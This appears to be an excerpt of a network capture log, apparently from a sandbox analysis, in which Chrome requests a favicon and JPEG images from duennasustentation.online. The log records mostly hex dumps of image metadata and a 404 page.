2025-01-08 14:44:45 UTC	1369	IN	Data Raw: be 90 4e 6e a9 ba 17 b4 7c d5 46 db 4d 8f 02 e0 0d 8d f6 97 59 f4 64 1f 7f a6 e7 7b 9d cf b1 26 da e0 21 af c6 83 c8 60 71 99 ed f4 b6 fb 92 f6 fc d5 c7 e4 e8 6a 34 ef d8 79 ae b7 ec 6c fb 2f d9 b6 8f e6 fd 39 8e fb 3d 2d cb 91 fa bb 57 ad 99 4e 31 d5 8c b8 1d 75 f6 01 eb 6b fd 5d ab b9 83 f4 bc e5 11 0d 4c 6f c1 46 5a 09 53 ff d3 d4 c1 2f 1f 57 b3 71 68 9b 68 ca 6e 45 77 e3 38 6d 75 76 fb fd 3c cc 57 3a 19 65 36 fe 89 f7 d1 f4 fd 5f d2 d3 fe 89 70 b6 b4 da 18 e0 d0 ee e6 60 68 60 fe 73 5e bd 5f a3 7d 5c e9 f7 e3 d7 97 9b 4b 6f b0 c7 a2 1f 25 a1 ad 81 b8 56 7d 9f a5 70 dd ff 00 15 b1 79 07 50 65 98 1d 5f 2f a7 d9 7b bd 3c 5c 8b 69 92 e2 3d ac 73 85 67 db ee fa 1b 52 9c 4c b5 07 58 ae 84 c4 74 23 76 7e 8b e3 56 b4 9e c2 5a 23 bf b7 f4 49 85 36 71 b5 b1 a9 Data Ascii: Nn\|FMYd{&!`qj4yl/9=-WN1uk]LoFZS/WqhhnEw8muv<W:e6_p`h`s^_}\Ko%V}pyPe_/{<\i=sgRLXt#v~VZ#I6q
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 48 0e e8 b6 e8 a0 6b a2 a1 ea 16 b2 b0 3f 3b 68 1a 9d 15 af d9 f9 3f f7 23 ff 00 03 1f c5 c9 c7 4f c8 9f e9 0e f9 56 c4 86 29 f7 1f 6a bd d8 76 2d 31 93 8d da d6 cf cf fd 7b a4 eb b1 ac 73 07 a8 77 03 2d 2d 0e e4 8d bf bb fc a5 7c 74 db 8f fd aa 7f c9 ac ff 00 c8 a2 0e 97 69 d0 e4 db f2 0c ff 00 c8 23 ec 9f 0f f1 bf f4 04 7b c3 c7 ec ff 00 d0 9c f6 5b 8e d2 60 58 49 80 7d 8f 26 07 d1 fc df a2 d5 bf f5 52 81 7f 57 a2 ed ae 0c c7 6b af 76 e1 b4 88 06 aa a5 9f 4d bf a4 72 ad 57 47 2e 20 1c 9b fe 4e 03 fe a5 ab a9 e8 78 95 61 63 9a d8 35 b0 ee 7b cf d2 71 03 4d ee fa 4e 44 62 d4 12 76 fa a0 e6 d0 80 37 77 6a 7c 70 ad 7a 9a 71 aa a3 5b 84 a3 7a a7 67 1a fe ec f7 ff 00 c8 a9 58 5f ff d6 ea 87 5e e9 35 9f 76 76 38 f2 f5 9b ff 00 7d 25 03 33 eb 47 45 73 36 37 37 Data Ascii: Hk?;h?#OV)jv-1{sw--\|ti#{[`XI}&RWkvMrWG. Nxac5{qMNDbv7wj\|pzq[zgX_^5vv8}%3GEs677
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 53 63 6c 20 55 6e 74 46 23 50 72 63 40 59 00 00 00 00 00 00 00 00 00 10 63 72 6f 70 57 68 65 6e 50 72 69 6e 74 69 6e 67 62 6f 6f 6c 00 00 00 00 0e 63 72 6f 70 52 65 63 74 42 6f 74 74 6f 6d 6c 6f 6e 67 00 00 00 00 00 00 00 0c 63 72 6f 70 52 65 63 74 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 0d 63 72 6f 70 52 65 63 74 52 69 67 68 74 6c 6f 6e 67 00 00 00 00 00 00 00 0b 63 72 6f 70 52 65 63 74 54 6f 70 6c 6f 6e 67 00 00 00 00 00 38 42 49 4d 03 ed 00 00 00 00 00 10 00 48 00 00 00 01 00 01 00 48 00 00 00 01 00 01 38 42 49 4d 04 26 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 3f 80 00 00 38 42 49 4d 03 f2 00 00 00 00 00 0a 00 00 ff ff ff ff ff ff 00 00 38 42 49 4d 04 0d 00 00 00 00 00 04 00 00 00 78 38 42 49 4d 04 19 00 00 00 00 00 04 00 00 00 1e 38 42 49 Data Ascii: Scl UntF#Prc@YcropWhenPrintingboolcropRectBottomlongcropRectLeftlongcropRectRightlongcropRectToplong8BIMHH8BIM&?8BIM8BIMx8BIM8BI
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 74 6c 6f 6e 67 00 00 00 00 00 00 00 0b 72 69 67 68 74 4f 75 74 73 65 74 6c 6f 6e 67 00 00 00 00 00 38 42 49 4d 04 28 00 00 00 00 00 0c 00 00 00 02 3f f0 00 00 00 00 00 00 38 42 49 4d 04 11 00 00 00 00 00 01 01 00 38 42 49 4d 04 14 00 00 00 00 00 04 00 00 00 11 38 42 49 4d 04 0c 00 00 00 00 10 f0 00 00 00 01 00 00 00 6c 00 00 00 9f 00 00 01 44 00 00 c9 3c 00 00 10 d4 00 18 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 02 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c Data Ascii: tlongrightOutsetlong8BIM(?8BIM8BIM8BIMlD<Adobe_CMAdobed
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 5d 76 fa c9 57 50 da ea 7b da da dc 58 26 0d 62 34 fa 5c 15 1c 46 32 f6 17 16 56 d8 76 d8 0c 9e c0 fe f2 33 76 9b 6c 05 ed 70 70 68 2c 07 56 c0 2d 76 ef eb 6e 41 e9 e1 cc a1 ed 3c b6 c7 37 e6 00 6a 70 c8 78 4e be ab 1f 8a 0c 07 10 a1 a5 15 f1 99 5d f5 7a 85 95 b4 c9 10 1a 4f 1d fe 9a 59 55 32 aa 4b 80 60 74 80 21 a4 1d 7f b6 e4 2c 2c 7b 28 c9 1e a4 6e f4 c9 1b 4c f7 6b 50 73 9d 39 76 1f 08 6c fc 1a 14 b1 37 92 84 b4 ae 26 32 2b 1d 98 eb 7c 2b 35 ee 69 90 7e 20 12 3e 1c 2b b4 38 12 d1 50 78 63 83 3f 96 4e c2 3d 77 fe ef d0 a7 6f a7 fc bf 49 67 07 a9 b6 eb 00 da d7 b8 0f 00 4c 2b 1c 4c 14 e9 32 eb f6 30 0f 50 fe 90 3d f6 eb 0e 04 b2 bf 6f a8 1b 65 6c b7 75 9e bd 5f fa 29 1f d4 77 ef ba 3c 77 5b f7 ff 00 30 a9 74 f7 fa d6 9a 6d 24 9b 1a 7d 37 12 65 ae 8f a4 Data Ascii: ]vWP{X&b4\F2Vv3vlpph,V-vnA<7jpxN]zOYU2K`t!,,{(nLkPs9vl7&2+\|+5i~ >+8Pxc?N=woIgL+L20P=oelu_)w<w[0tm$}7e
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: d6 43 40 be c6 92 60 ed b2 4f e7 73 bb db fb 8a 20 bb 68 9c 9b 43 e0 4f bc 44 c7 c7 f7 94 7c 32 ea 7f 02 cb c4 3b 7e 21 d0 0d 6b 9a 0b eb 68 71 d5 c2 01 12 7c e1 3b 59 5b 5c 1c d6 35 a7 c8 01 f9 16 53 af c8 6d e1 95 da fb 04 4c 58 fd 22 3d fb dc d3 fa 3d bf be 89 eb 64 7a 60 ba cb 06 24 9d b7 fd 17 bb 4f 63 6c b7 e9 32 9d fe df 5f d2 4d 38 a5 fb c3 5f e5 b2 46 51 fb a7 45 5b d3 f2 37 1d 90 f1 00 03 30 61 a3 68 dd b9 57 75 16 b1 e6 b3 06 d9 db b0 6a 67 b2 bb 87 6d c4 5d a9 b2 d6 11 b3 1d ef 97 0f e5 39 f0 dd cc 77 e6 6d 54 77 13 77 f2 cb f8 8d 77 4f d1 df 2a 6c 72 9d 98 92 3d 21 86 62 14 08 07 d4 d9 b5 99 0e 1e 9b 05 84 08 f6 96 86 8d ad f6 ee 9d 1e ad 90 c6 86 56 e0 c3 6d 6d 1b 03 dc 07 1f 9d cf b5 2c 91 91 66 36 e6 b0 b3 27 c1 8e 82 d0 4f bb dd 23 db fc Data Ascii: C@`Os hCOD\|2;~!khq\|;Y[\5SmLX"==dz`$Ocl2_M8_FQE[70ahWujgm]9wmTwwwO*lr=!bVmm,f6'O#
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: c0 29 4a 75 95 ae ee 46 6f 4c 7c c6 43 4c 70 40 77 fe 45 54 76 4e 17 fa 49 f8 35 df f9 15 9d 29 4a 1c 21 3c 45 be 72 f1 bb 17 1f ec 94 df 6c a3 b0 79 f9 7f b5 52 94 a5 2e 10 ae 22 dd 19 f5 0f cc 74 7c bf f2 49 7e d0 6c e9 53 be f0 a9 ca 5a 23 c2 15 c4 5b bf b4 47 6a 8f cd c0 27 1d 57 68 fe 62 7f b7 ff 00 98 aa 32 94 a5 c2 11 c4 5d 2a fa e3 98 67 ec c1 d1 db 7c 7f df 15 a6 7d 6c c8 ac 7b 71 19 f3 b1 df c1 8b 0e 53 68 97 08 4d 97 a0 ff 00 9e 99 bf 9b 87 48 f8 bd e7 ff 00 22 9f fe 7b 75 28 8f b2 e3 f3 11 2f ff 00 aa dc b9 e4 a7 4f 9a 5c 23 b2 ac bf ff d7 e6 a5 3e e4 39 4b 72 72 d4 92 9e 50 f7 25 b9 25 24 94 f2 86 1c 9f 72 2a 67 29 f7 21 ee 4f 29 29 9c a5 2a 12 96 e4 94 ca 52 dc a1 b9 29 49 4c e5 29 d3 e7 fc 10 e5 2d da 7c d2 53 ff d0 e4 e4 a5 2a 32 52 92 9c Data Ascii: )JuFoL\|CLp@wETvNI5)J!<ErlyR."t\|I~lSZ#[Gj'Whb2]g\|}l{qShMH"{u(/O\#>9KrrP%%$rg)!O))R)IL)-\|S2R
2025-01-08 14:44:45 UTC	711	IN	Data Raw: 3a 31 33 3a 32 32 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 33 2d 30 37 2d 32 35 54 32 32 3a 31 33 3a 32 32 2b 30 38 3a 30 30 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 22 3e 20 3c 78 6d 70 4d 4d 3a 48 69 73 74 6f 72 79 3e 20 3c 72 64 66 3a 53 65 71 3e 20 3c 72 64 66 3a 6c 69 20 73 74 45 76 74 3a 61 63 74 69 6f 6e 3d 22 73 61 76 65 64 22 20 73 74 45 76 74 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 61 35 66 66 65 37 34 39 2d 33 64 30 35 2d 33 34 34 62 2d 39 65 65 38 2d 32 32 39 61 30 38 38 38 62 36 31 66 22 20 73 74 45 76 74 3a 77 68 65 6e 3d 22 32 30 32 32 2d 30 34 2d 32 31 54 32 32 3a 32 Data Ascii: :13:22+08:00" xmp:MetadataDate="2023-07-25T22:13:22+08:00" xmp:CreatorTool="Adobe Photoshop 21.0 (Windows)"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:instanceID="xmp.iid:a5ffe749-3d05-344b-9ee8-229a0888b61f" stEvt:when="2022-04-21T22:2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.16	49810	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:44 UTC	813	OUT	GET /favicon.ico HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:45 UTC	905	IN	HTTP/1.1 404 Not Found Date: Wed, 08 Jan 2025 14:44:45 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FQ8ewzKVM7rtDdMxYfQ8LGGFL%2FnsZhRXL0RKtcAUGjfNP%2BM0xGA4XNP40cP9yh0TfkvIYGHP1yi3AvCxcPt%2BggOavqV514LbrgkWm2o3TWOv56n%2BzJOdRNkGSkqRmx2wMwLDM3yQHVXqVRYS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7a3bd575e6d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1772&min_rtt=1768&rtt_var=672&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2868&recv_bytes=1391&delivery_rate=1618625&cwnd=252&unsent_bytes=0&cid=ffe9e8adb6e6716d&ts=910&x=0"
2025-01-08 14:44:45 UTC	464	IN	Data Raw: 32 32 62 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 35 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 Data Ascii: 22b<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.25.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE
2025-01-08 14:44:45 UTC	98	IN	Data Raw: 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 0d 0a Data Ascii: ome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
2025-01-08 14:44:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.16	49812	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:44 UTC	419	OUT	GET /images/5.jpg HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:45 UTC	1051	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:45 GMT Content-Type: image/jpeg Content-Length: 44747 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d2942-aecb" expires: Wed, 08 Jan 2025 14:44:44 GMT last-modified: Tue, 07 Jan 2025 13:16:50 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=9%2BNf7un9Nr4KHXXWqmRJJBeKsu70Pga%2FWQYc7fExad5QdK8tgGPgzxyGpSMOHUylv1X94%2FqLW4gIctvscCd%2Fwan1RBmF354X6%2FMivQRoxgZ4ctkkwBbNhyuI2YRoVaEEcNdwe1k6bwtj39CA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf7a4bd450caa-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1607&min_rtt=1602&rtt_var=611&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2870&recv_bytes=997&delivery_rate=1776155&cwnd=239&unsent_bytes=0&cid=63e069b06581278d&ts=898&x=0"
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: ff d8 ff e1 17 26 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 02 80 00 00 01 01 00 03 00 00 00 01 02 92 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 33 3a 30 34 3a 31 39 20 31 39 3a 31 38 3a 32 35 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: &ExifMM*(12i ''Adobe Photoshop 21.0 (Windows)2023:04:19 19:18:250
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: fa 2b ba b8 2c b0 4f c0 f8 27 f2 e4 d1 8c be 68 b5 f9 8c 42 32 12 8f cb 2d 90 fe 61 49 5b f4 db 29 29 d8 29 ff d0 ef 9b 58 53 f4 c7 82 b0 03 7c 14 84 25 c6 16 70 16 93 a9 9e ca 1f 64 07 58 5a 10 94 21 c6 13 c0 d1 14 39 a3 40 ab 75 1b dd 8d 88 f7 3b 42 7d a2 7b fe ff 00 fd 05 ac 5c d6 b4 bd e6 1a d1 24 9e c0 2e 13 eb a7 5d 9a 9f 53 5c 01 70 81 5f 70 d9 f6 7f 6e d7 ff 00 e8 c4 d9 e5 a1 a6 e7 65 d8 f1 71 48 5e c3 52 f3 1d 4f 31 fd 4b 29 ce 71 fd 19 21 ce f0 da 27 d1 ab fe fe 8b 63 aa ae 93 6c b4 de ed 37 90 0b 58 d0 3f 36 7e 9d bf f5 0b 36 d7 1a e9 68 7b 89 2e 32 ed 23 5f fc e5 35 b7 3b 29 f4 e3 06 ec ad a3 53 ce bf f9 82 8e 1a 0a 6c 48 5b 62 a0 6f 3b 43 8d 8f 3c 98 97 13 e4 7e 8b 57 47 d2 3e aa d8 ca fd 5b 9a 03 9d c3 5d ae 9e 6a d7 d5 9f ab f5 d2 46 4b da Data Ascii: +,O'hB2-aI[)))XS\|%pdXZ!9@u;B}{\$.]S\p_pneqH^RO1K)q!'cl7X?6~6h{.2#_5;)SlH[bo;C<~WG>[]jFK
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 8d 6e 66 55 73 93 5f a7 73 4f b9 a3 51 f1 6a 1e 7d c6 9c a2 3f 74 49 5a 7d 1b 10 63 d7 ed 9d 90 60 1e cb 1b ad 3c 1c 87 11 c9 90 53 4f cb 7e 2c 91 f9 88 f0 72 af fa ca e1 61 af 1f 1e cc 87 8e 4b 44 34 1f eb 29 d7 99 d7 32 44 fa 4c a5 84 7d 17 b8 13 ff 00 47 72 0d 38 76 e5 39 9e e8 ab 97 35 84 07 cf 83 1a ff 00 62 c9 bb ea ef 58 17 31 ce 7b db b6 66 ca de f2 e7 69 ed f6 3f d8 d7 6e 46 3a 8b d0 2c 99 22 55 44 f9 35 3e b3 57 92 ea 77 64 54 03 98 e9 0f 69 04 41 ec e8 58 65 fe cd 4f b6 1a 4f cf da 57 48 71 3a 95 f8 56 63 e7 b4 9b 76 91 bc 10 66 3d d5 fa 9f ba f5 cb dd 22 b2 1b ce c3 f7 b4 f0 86 ea 23 ae bb 75 6b e4 03 f6 77 0e ed 23 f0 d1 17 0e d7 b4 31 cd e4 09 fb be 92 8b dc d7 34 1e 5b 60 31 f1 03 50 85 8d 63 9a d1 1f 4d 87 49 4f dc 53 1e c6 dd b1 6b 5a 0e Data Ascii: nfUs_sOQj}?tIZ}c`<SO~,raKD4)2DL}Gr8v95bX1{fi?nF:,"UD5>WwdTiAXeOOWHq:Vcvf="#ukw#14[`1PcMIOSkZ
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: c1 ed 7b 0f cb 72 e3 3e b5 62 fd 93 aa e4 d2 d1 0c 70 16 34 79 38 28 a6 0d dd 33 e1 90 ae 17 21 ee df 80 43 86 82 c0 47 c1 c3 dd ff 00 4d 6a 7d 52 fa c8 3a 5e 40 e9 f9 8f 8c 1c 97 7e 8e c3 fe 0a c3 a7 bb fe 0a df cf 59 e4 1d b5 35 df 42 d0 49 f9 c3 59 ff 00 49 50 cd a7 6b 37 11 c4 13 ff 00 7e 44 0b d3 ba e2 6b 51 d1 f6 8a d8 1c 25 bc 8e ea 6e 7c 54 24 19 6f e7 0d 08 5c ef d4 ee a4 eb 7a 3e 23 9e 4b 98 18 1b 3d c6 df 67 f9 ab ab 68 a9 c0 b8 c1 07 58 ec 94 7b 75 09 26 a8 bc fe 75 af 71 2d 71 16 0f 07 b4 2c bb d9 65 ad 2c 68 65 60 ff 00 27 b2 ea f2 19 4b 87 d0 67 c4 85 95 7d 2c 07 da 00 1d f4 42 57 dd b1 0e 62 55 5a 0f a3 99 85 8e ca 0c fd 37 77 3f c0 29 dc f3 6b bd 22 7f 46 d2 1d 69 f1 3f 99 5a 36 4d 95 63 30 86 9f 79 06 3c 96 06 6f 52 73 9a 6a c4 27 49 dd Data Ascii: {r>bp4y8(3!CGMj}R:^@~Y5BIYIPk7~DkQ%n\|T$o\z>#K=ghX{u&uq-q,e,he`'Kg},BWbUZ7w?)k"Fi?Z6Mc0y<oRsj'I
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 73 c7 75 9b 9b dc e2 f5 ba f8 3d ae 1f 43 5d b6 1a de 41 e2 74 28 96 58 ed be dd 65 05 bf cd bf e7 f4 91 31 f9 ab 8f a4 39 e3 94 c8 6e db 97 0d f8 a1 cf 6b 2a 6b 6b 77 f3 8c fd 25 ce ef ff 00 16 3e f5 8d 5d 9e a6 53 81 13 ec 20 ff 00 69 68 f5 2f a5 91 f4 be 98 fa 5f 4b fb 4b 2f 07 f9 eb 7e 23 e3 c2 b3 3b f6 8f 0f f2 0c 38 78 7e f4 38 f7 ff 00 ba a4 3d 13 d4 e9 3d 6b 63 f4 a8 98 3d c1 6b cf b1 7a 35 4c 69 6b ad ac 45 4f e0 7e e9 fd df ea fe e2 e1 f2 7f a5 63 7d 1e 5b fd 7f a6 df fc 0d 76 58 1f d0 8f d3 fa 1f 9b c7 3d ff 00 ef aa c4 6e 87 17 cd 5a b9 99 f8 38 e5 ed df 0d 9e 1f ee ff 00 2f 95 9b 03 4b b6 c2 ba ca da de 15 3a bf 9e 1f c5 5f 6f 25 3c 31 16 bd ed 0d 1b 88 92 74 6b 47 24 9f cd 0b 03 a8 93 d3 fa 9b b2 9e 37 d9 76 38 0d 6f 6d cd 73 84 7f 51 9b 97 Data Ascii: su=C]At(Xe19nk*kkw%>]S ih/_KK/~#;8x~8==kc=kz5LikEO~c}[vX=nZ8/K:_o%<1tkG$7v8omsQ
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 52 65 63 74 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 0d 63 72 6f 70 52 65 63 74 52 69 67 68 74 6c 6f 6e 67 00 00 00 00 00 00 00 0b 63 72 6f 70 52 65 63 74 54 6f 70 6c 6f 6e 67 00 00 00 00 00 38 42 49 4d 03 ed 00 00 00 00 00 10 00 48 00 00 00 01 00 01 00 48 00 00 00 01 00 01 38 42 49 4d 04 26 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 3f 80 00 00 38 42 49 4d 04 0d 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 04 19 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 03 f3 00 00 00 00 00 09 00 00 00 00 00 00 00 00 01 00 38 42 49 4d 27 10 00 00 00 00 00 0a 00 01 00 00 00 00 00 00 00 02 38 42 49 4d 03 f5 00 00 00 00 00 48 00 2f 66 66 00 01 00 6c 66 66 00 06 00 00 00 00 00 01 00 2f 66 66 00 01 00 a1 99 9a 00 06 00 00 00 00 00 01 00 32 00 00 00 01 00 5a 00 00 00 06 Data Ascii: RectLeftlongcropRectRightlongcropRectToplong8BIMHH8BIM&?8BIM8BIM8BIM8BIM'8BIMH/fflff/ff2Z
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 00 00 15 a0 00 18 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 02 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 9a 00 96 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 0a ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 0a 0b 01 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 01 00 02 03 04 05 Data Ascii: Adobe_CMAdobed"?
2025-01-08 14:44:45 UTC	1369	IN	Data Raw: 03 85 6d b0 16 9f d5 f2 c4 79 07 f8 ff 00 9c 8b 59 f4 fd 0c 9e 2d ac fa 6f 3e 43 c5 56 68 0e 37 62 f0 d7 7b ab 3e 0e 1a 82 15 90 e9 af dd a7 aa 1a e7 0f e5 0f 6b 93 81 d2 8b 19 1a d8 65 96 d7 e2 e6 8c bc 7d 1c ef d2 30 76 70 ff 00 0d 57 f6 3e 9f f5 17 a3 7d 4b eb 0d bf 0d d5 13 a3 bf 49 5c 9e ff 00 e1 19 fd 95 e7 94 9f b4 d5 e8 97 6d 70 3b ab 71 ec f6 73 fe 73 56 97 d5 cc c3 83 9e d6 c9 6b 5f a0 6f 83 8f 64 db e1 90 97 6d 0f f7 53 28 f1 44 c7 be a3 fb cf a9 1c cf d2 01 e2 92 c5 fb 7c 8f 53 b8 13 e5 c7 d2 ff 00 35 25 63 8e 3d fa 34 f8 65 f8 bf ff d1 ef 5b 9a ce ee 0a 43 36 af de 0b 9a 6d ec 23 cc 22 37 2d a1 67 4a 79 19 c4 62 f4 a3 32 b2 34 29 be d7 5f 8a c5 ab 35 91 a9 47 19 2c 22 66 07 72 9b c7 91 77 0c 56 fa c5 d6 e8 e9 fd 35 ef 71 dc fb 08 6d 75 8e 5d Data Ascii: myY-o>CVh7b{>ke}0vpW>}KI\mp;qssVk_odmS(D\|S5%c=4e[C6m#"7-gJyb24)_5G,"frwV5qmu]
